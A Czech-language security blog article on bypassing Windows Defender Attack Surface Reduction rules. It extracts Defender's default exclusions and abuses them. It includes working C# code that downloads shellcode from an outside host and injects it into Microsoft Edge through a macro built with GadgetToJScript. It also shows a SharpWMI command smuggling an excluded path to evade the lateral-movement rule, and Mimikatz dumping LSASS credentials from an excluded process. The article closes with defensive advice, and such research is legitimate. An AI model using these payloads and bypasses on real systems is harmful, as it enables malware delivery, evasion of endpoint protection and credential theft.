Attack Surface Reduction (ASR) Bypass
V dnešním článku se podíváme na další ochranu v operačním systému Windows – Attack Surface Reduction (ASR). Jedná se o sadu konfigurací, jejichž cílem je zmírnit běžné techniky útoku standardně používané útočníky. ASR je vynuceno různými součástmi programu Windows Defender, jako je ovladač WdFilter. ASR proto není k dispozici, pokud je na počítači nainstalováno jiné AV řešení než Defender a registrováno jako primární poskytovatel AV. Nejprve si v článku ukážeme příklady definovaných zásad, nejčastější konfigurační chyby / výchozí výjimky a jak jich zneužít ke spuštění libovolných nástrojů / škodlivého kódu.
ASR pravidla lze povolit prostřednictvím GPO, Intune, MDM nebo dokonce PowerShell. Úplný rozpis pravidel, která jsou k dispozici, lze nalézt na následujícím odkazu. Tento článek se zaměří na pravidla, která se týkají:
- Microsoft Office a počáteční přístupové vektory prostřednictvím maker
- Lateral Movement s PsExec a WMI
- Zabezpečení přihlašovacích údajů
Z pohledu počátečního přístupu je prakticky nemožné zjistit, která pravidla ASR jsou zavedena, pokud vůbec nějaká. Aplikovanou ASR konfiguraci je však možné získat přímo z lokálních registrů nebo pomocí příkazu Get-MpPreference (pokud již máme přístup k počítači). Umístění registru je HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR. Tento klíč má hodnotu registru s názvem ExploitGuard_ASR_Rules, kterou lze nastavit na 0 (zakázáno) nebo 1 (povoleno). Samotná pravidla jsou v další složce s názvem Rules

Každé pravidlo je odkazováno pomocí GUID, které lze vyhledat na výše uvedené referenční stránce pravidel ASR. Například 75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84 je GUID pro „Blokování vkládání kódu do jiných procesů aplikací Office“. Každé pravidlo lze nastavit na 0 (zakázáno), 1 (blokování) nebo 2 (audit). ASR události se zaznamenávají do protokolu událostí Microsoft-Windows-Windows Defender/Operational event log – ID 1121 pro blokované události a 1122 pro auditované události.
Úplně stejné informace lze získat pomocí modulu Get-MpPreference:
PS C:\Users\test> (Get-MpPreference).AttackSurfaceReductionRules_Ids 75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84 92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 d1e49aac-8f56-4280-b9ba-993a6d77406c d4f940ab-401b-4efc-aadc-ad5f3c50688a e6db77e5-3df2-4cf1-b95a-636979351e5b PS C:\Users\test> (Get-MpPreference).AttackSurfaceReductionRules_Actions 1 1 1 1 1 1
MS Office pravidla
Tři hlavní ASR pravidla, která ovlivňují možnost používat Office dokumenty jako mechanismy doručování payloadu jsou následující:
- Blokovat vytváření podřízených procesů všem aplikacím Office
- Blokování volání rozhraní API Win32 z maker Office
- Blokování vkládání kódu do jiných procesů aplikací Office
Výše uvedená pravidla aktivně brání spouštět jednoduché jednořádkové payloady, jako je PowerShell, a vkládat shell kód do jiných procesů. Než se dostaneme k bypassům, podívejme se, jak se zmíněná omezení projevují. Jednoduchý VBA skript, který spouští PowerShell:
Sub AutoOpen() Dim wsh As Object Set wsh = CreateObject("wscript.shell") wsh.Run "powershell.exe" Set wsh = Notning End Sub
Pokud VBA skript spustíme, dojde k zablokováni na základě pravidla „Blokovat vytváření podřízených procesů všem aplikacím Office“:

Win32 API lze volat v makru pomocí P/Invoke. Níže příklad volání MessageBoxA:
Private Declare PtrSafe Function MessageBoxA Lib "user32.dll" (ByVal hWnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal uType As Long) As Long Sub Exec() Dim Result As Long Result = MessageBoxA(0, "Test", "Hello World", 0) End Sub
Pokud skript zkusíme spustit, zjistíme, že skutečně funguje:

Pravidlo „Blokování volání rozhraní API Win32 z maker Office“ zasáhne pouze tehdy, když se pokusíme zapsat dokument na disk.
Poslední pravidlo „Blokování vkládání kódu do jiných procesů aplikací Office“ funguje tak, že omezuje oprávnění udělená při získávání popisovače cílového procesu. Níže uvedený snímek obrazovky je příkladem volání OpenProcess. Když je toto pravidlo zakázáno, potřebná oprávnění PROCESS_VM_OPERATION, PROCESS_VM_READ a PROCESS_VM_WRITE jsou přidělena:

Při opětovném povolení pravidla a zopakování experimentu vidíme, že PROCESS_VM_WRITE a PROCESS_VM_OPERATION nejsou přítomny v popisovači vráceném API rozhraním, což by zabránilo používat popisovač k provádění akcí jako je alokace a zápis do paměti procesu:

Navíc, pokud se nám podaří vytvořit proces, vrácený popisovač má oprávnění PROCESS_ALL_ACCESS, místo aby byl filtrován. Na obrázku níže můžeme vidět, že popisovač vrácený metodou CreateProcessA má PROCESS_ALL_ACCESS, ale popisovač vrácený metodou OpenProcess (pro úplně stejné ID procesu) je filtrován:

ASR Výjimky
Mnoho ASR pravidel může mít vlastní výjimky, která mohou být definovány jako součást při nasazení (např. v GPO). Společnost Microsoft také implementovala výchozí výjimky pro různá ASR pravidla, aby nedošlo k porušení zamýšlených funkcionalit. Tyto výjimky jsou distribuovány ve formě aktualizací signatur MS Defender, které se nacházejí na disku, což nám umožňuje velmi snadno najít výjimky, které můžeme použít k efektivnímu obcházení mnoha ASR pravidel. Prvotní výzkum byl původně publikován již v letech 2020-2021 (GitHub). Zjistili, že část logiky ASR je řízena pomocí jazyka LUA, a přišli s vícestupňovým procesem, který je v podstatě schopný extrahovat, analyzovat a dekompilovat výjimky zpět do čitelného formátu z VDM (Virus Definition Module) souborů nástroje MS Defender. VDM soubory lze nalézt v následujícím adresáři C:\ProgramData\Microsoft\Windows Defender\Definition Updates\Backup\mpasbase.vdm.
Po extrakci výjimek vznikne tisíce .luac a .lua souborů. Soubory .luac jsou původní zkompilované verze extrahované z VDM a soubory .lua jsou ty dekompilované v čitelné podobě. Nyní můžeme použít příkaz „grep“ k nalezení souboru související s příslušným ASR pravidlem – při našem testu bylo pravidlo "Blokovat vytváření podřízených procesů všem aplikacím Office" v souboru 4248.lua:

GetMonitoredLocations definuje všechny „zdrojové“ procesy, na které se bude toto pravidlo vztahovat. Vzhledem k tomu, že platí pravidlo „všechny aplikace Office“, najdeme zde všechny cesty aplikací Office. Když se posuneme dále dolů, najdeme velmi zajímavou část – GetPathExclusions. V této sekci jsou uvedeny všechny cesty aplikací, které budou z daného pravidla ASR vyloučeny –jinak řečeno, všechny aplikace, které může Office vytvořit jako podřízený proces (některé se dokonce nacházejí v lokacích jako je %AppData%):

GadgetToJScript
Zatím jsme si ukázali, jak enumerovat aplikovaná ASR pravidla, a reverzovat ASR LUA skripty k zjištění výchozích výjimek, které můžeme zneužít. Dalším krokem je najít způsob, jak spustit libovolný kód a/nebo rozhraní API Win32 v makru bez spoléhání se na P/Invoke.
GadgetToJScript je jedním z možných nástrojů, který můžeme použít. Dokáže generovat serializované gadgety z .NET (C#) kódu a používá binární formátovač ke spuštění libovolného kódu. Tyto gadgety mohou být ve formátu VBA, stejně jako VBS a JS, což znamená, že je lze použít v Office makrech a dalších souborech, jako je např. HTA. G2JS řešení se skládá ze dvou projektů. Projekt TestAssembly je DLL knihovna, která bude obsahovat „škodlivý“ kód, který chceme spustit v makru, a hlavní projekt GadgetToJScript je binární EXE, který provede skutečnou transformaci DLL knihovny na serializovaný payload. Když sestava projde přes formátovač, v podstatě zavolá new Program(). Proto musí náš kód začít uvnitř konstruktoru třídy, aby se mohl spustit (samozřejmě můžeme mít další třídy a metody pro oddělení kódu).
Nejprve si stáhneme shell kód. Výchozí konfigurace SecurityProtocol je SystemDefault, která umožňuje operačnímu systému vybrat nejlepší protokol a blokuje všechny, které nejsou považovány za bezpečné. Z nějakého důvodu se zdá, že takové stahování v G2JS selhává, pokud není výslovně protokol nastaven – TLS 1.2 a 1.3 jsou vhodní kandidáti.
byte[] shellcode; using (var client = new WebClient()) { client.Proxy = WebRequest.GetSystemWebProxy(); client.UseDefaultCredentials = true; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls13; shellcode = client.DownloadData("https://www.mytestdomain.com/shellcode.bin"); };
Následně spustíme cílový proces. Prohlížeč MS Edge je vyloučen z pravidla ASR „Blokovat vytváření podřízených procesů všem aplikacím Office“ a je také vhodným kandidátem pro provádění odchozích HTTPS připojení. Můžeme také upravit argumenty příkazového řádku, aby vypadaly legitimněji:
var startup = new STARTUPINFO { dwFlags = 0x00000001 }; startup.cb = Marshal.SizeOf(startup); var success = CreateProcessW( @"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe", @"""C:\Program Files\(x86)\Microsoft\Edge\Application\msedge.exe --no-startup-window --win-session-start /prefetch:5""", IntPtr.Zero, IntPtr.Zero, false, CREATION_FLAGS.CREATE_NO_WINDOW | CREATION_FLAGS.CREATE_SUSPENDED, IntPtr.Zero, @"C:\Program Files (x86)\Microsoft\Edge\Application", ref startup, out var processInfo);
Alokace paměti (RW):
var baseAddress = VirtualAllocEx( processInfo.hProcess, IntPtr.Zero, (uint)shellcode.Length, ALLOCATION_TYPE.MEM_COMMIT | ALLOCATION_TYPE.MEM_RESERVE, PROTECTION_FLAGS.PAGE_READWRITE);
Kopírování shellcodu do nově vytvořené paměti:
success = WriteProcessMemory( processInfo.hProcess, baseAddress, shellcode, (uint)shellcode.Length, out _);
Přepnutí ochrany paměti z RW na RX:
success = VirtualProtectEx( processInfo.hProcess, baseAddress, (uint)shellcode.Length, PROTECTION_FLAGS.PAGE_EXECUTE_READ, out _);
Na závěr zařadíme APC (asynchronous procedure call) do fronty na primárním vlákně, obnovíme jeho běh a uzavřeme popisovače:
_ = Win32.QueueUserAPC( baseAddress, processInfo.hThread, IntPtr.Zero); Win32.ResumeThread(processInfo.hThread); Win32.CloseHandle(processInfo.hThread); Win32.CloseHandle(processInfo.hProcess);
Řešení sestavíme v Release režimu a poté pomocí GadgetToJScript.exe vygenerujeme datovou VBA část z TestAssembly.dll:
PS C:\Tools\GadgetToJScript> .\GadgetToJScript\bin\Release\GadgetToJScript.exe -w vba -b -e hex -o C:\Payloads\inject -a .\TestAssembly\bin\Release\TestAssembly.dll
Nyní již stačí obsah souboru C:\Payloads\inject.vba zkopírovat do nového makra a spustit, čímž dojde ke spuštění shellcodu.
Tvorba procesů z PSExec a WMI
Pravidlo tvorby procesů z PSExec a WMI se chová úplně stejným způsobem jako pravidlo „Blokovat vytváření podřízených procesů všem aplikacím Office“. V našem příkladě lze LUA skript nalézt v souboru 4138.lua. Dvě sledované aplikace jsou WmiPrvSE.exe a PSEXESVC.exe. PsExec nestojí ani za zmínku, protože PSEXESVC.exe pochází z nástroje Sysinternals. Toto pravidlo nijak nebrání vytvořit nebo upravit službu, aby spustila náš vlastní binární soubor služby. Pokud se ale pokusíme provést lateral movement pomocí WMI, např. nástrojem SharpWMI, budou veškeré pokusy o spuštění příkazu na vzdáleném systému zablokovány (z důvodu využití WmiPrvSE).
.\SharpWMI.exe action=exec computername=TestWorkstation command=C:\Windows\notepad.exe [*] Host : TestWorkstation [*] Command : C:\Windows\notepad.exe [*] Creation of process returned : 2 [*] Process ID :
MS Defeneder na stanici „TestWorkstation“ pokus o spuštění zablokuje a vygeneruje alert. Nejjednodušší a zároveň nejkurioznější způsob, jak toto pravidlo obejít, je přes výjimku příkazového řádku:

První čtyři položky mají na začátku i na konci zástupné znaky. Je tedy dostačující, když se někde v příkazu objeví „:\Windows\ccmcache\“ a již dojde k jeho spuštění:
.\SharpWMI.exe action=exec computername=TestWorkstation command="C:\Windows\System32\cmd.exe /c dir C:\Windows\ccmcache\ & C:\Windows\notepad.exe" [*] Host : TestWorkstation [*] Command : C:\Windows\System32\cmd.exe /c dir C:\Windows\ccmcache\ & C:\Windows\notepad.exe [*] Creation of process returned : 0 [*] Process ID : 7499
Odcizení přihlašovacích údajů z LSASS
Pravidlo „Blokování krádeže přihlašovacích údajů z LSASS“ funguje stejně jako „Blokování vkládání kódu do jiných procesů aplikací Office“, ale jediným monitorovaným procesem je lsass.exe. Funguje na principu filtrace popisovače vráceného z OpenProcess, kdy se odstraní přístup pro čtení do paměti procesu, čímž se zabrání vypsání jeho obsahu. Příklad pokusu získání přihlašovacích údajů pomocí nástroje Mimikatz:
mimikatz # sekurlsa::logonpasswords ERROR kuhl_m_sekurlsa_acquireLSA ; Modules informations
Stejně jako u předchozích příkladů lze pravidlo obejít tím, že je nástroj Mimikatz (případně jakýkoliv jiný nástroj) spuštěn z cesty nacházející se ve výjimkách.

Toho lze docílit „spawnutím“ nového nebo injektováním do již běžící procesu (detailní popis použití zmíněných technik není předmětem článku):
ps 6168 644 OfficeClickToRun.exe x64 0 NT AUTHORITY\SYSTEM mimikatz 6168 x64 sekurlsa::logonpasswords Authentication Id : 0 ; 813229 (00000000:000c68ad) Session : Interactive from 1 User Name : TestUser Domain : domain.local Logon Server : DC Logon Time : 16.12.2024 10:02:51 SID : S-1-12-1-2340896938-1641812507-3376716822-1896325457 ...
V článku jsme si představili Attack Surface Reduction (ASR) ochranu —klíčová pravidla, možnosti nasazení i logování, a ukázali jsme běžné chybné konfigurace a výchozí výjimky v MS Defenderu, které lze zneužít k obcházení omezení (např. spuštění kódu z Office maker, lateral movement nebo získání dat z LSASS). ASR výrazně zvyšuje bezpečnost, ale jen pokud jsou pravidla správně nastavena a výjimky důsledně kontrolovány. Proto by mělo být ASR vnímáno jako jedna z více vrstev obrany, nikoli jako jediné řešení.